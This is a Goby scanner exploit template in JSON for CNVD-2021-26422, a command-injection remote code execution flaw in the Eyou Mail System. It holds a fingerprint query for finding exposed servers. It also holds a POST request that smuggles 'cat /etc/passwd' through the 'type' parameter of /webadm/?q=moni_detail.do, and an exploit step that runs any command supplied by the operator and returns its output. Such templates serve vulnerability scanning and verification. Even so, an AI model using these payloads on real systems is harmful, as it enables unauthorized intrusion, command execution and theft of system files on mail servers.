{
      "Name": "Eyou Mail System RCE CNVD-2021-26422",
      "Level": "3",
      "Tags": [
            "RCE"
      ],
      "GobyQuery": "app=\"Eyou-Mail-system\"",
      "Description": "Beijing Yizhongyou Information Technology Co., Ltd. (Yiyou) is a professional mail system software and overall solution provider.",
      "Product": "Eyou Mail System",
      "Homepage": "https://www.eyou.net/",
      "Author": "",
      "Impact": "Eyou Mail System RCE.",
      "Recommendation": "",
      "References": [
            "https://www.cnvd.org.cn/flaw/show/CNVD-2021-26422"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "Cmd",
                  "Type": "input",
                  "Value": "cat /etc/passwd"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/webadm/?q=moni_detail.do&action=gragh",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "type='|cat /etc/passwd||'"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/webadm/?q=moni_detail.do&action=gragh",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "type='|{{{Cmd}}}||'",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}